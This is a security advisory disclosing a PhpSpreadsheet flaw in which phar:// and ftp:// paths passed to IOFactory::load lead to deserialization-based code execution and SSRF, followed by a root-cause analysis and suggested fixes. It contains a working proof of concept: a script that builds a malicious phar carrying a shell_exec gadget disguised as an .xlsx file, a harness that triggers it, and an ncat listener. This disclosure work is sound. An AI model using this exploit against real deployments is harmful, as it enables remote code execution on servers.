GHSA-q4q6-r8wh-5cgh

The usage of is_file, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC

To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:

phar.readonly=0

make_phar.php to create the malicious file:

<?php
// php -c php.ini make_phar.php
class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('whatever', 'dummy content');
$phar->setMetadata($pop);
$phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional
echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern:

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass {
    public $data;
    function __construct($d) {
        $this->data = $d;
    }
    function __destruct() {
        shell_exec($this->data);
    }
}

$filename = $argv[1] ?? null;

if (!$filename) {
    echo "Usage: php test.php <path>\n";
    echo "  e.g. php test.php phar://exploit.xlsx/whatever\n";
    exit(1);
}

echo "Calling IOFactory::load('" . $filename . "')\n";

try {
    $spreadsheet = IOFactory::load($filename);
    var_dump($spreadsheet);
} catch (Throwable $e) {
    echo "Vuln has still triggered even if exception triggers.\n";
}

RCE

Run the PoC (for RCE):

php -c php.ini make_phar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt

The file /tmp/poc.txt should now be present on disk.

Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF

Run the PoC (for SSRF):

ncat -lvp 21 #run on another terminal
php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows:

IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) ->  File::assertFile($filename, ...) -> is_file($filename);

The one obvious gadget that was found is guarded via __unserialize (or __wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

    public function __destruct()
    {
        // Unlink temporary files
        // There is nothing reasonable to do if unlink fails.
        if ($this->tempFileName != '') {
            @unlink($this->tempFileName);
        }
    }

    /** @param mixed[] $data */
    public function __unserialize(array $data): void
    {
        $this->tempFileName = '';

        throw new SpreadsheetException('Unserialize not permitted');
    }

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use is_file only after making sure the filename does not contain any php wrapper:

$scheme = parse_url($filename, PHP_URL_SCHEME);
// strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :)
// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge
if ($scheme !== null && strlen($scheme) > 1) {
    throw new \PhpOffice\PhpSpreadsheet\Exception(
        "Stream wrappers are not permitted as file paths: {$filename}"
    );
}

or perhaps even just passing it to realpath before calling is_file to ensure it is parsed correctly:

$real = realpath($filename); // not php wrapper aware AFAIK
if ($real === false) {
    throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}");
}

// from here on, $real should be a clean absolute path so we can pass it to is_file()
if (!is_file($real)) {
    throw new ...
}

Note: stream_is_local() would also not be safe here — as it considers phar:// to be local and would not block it.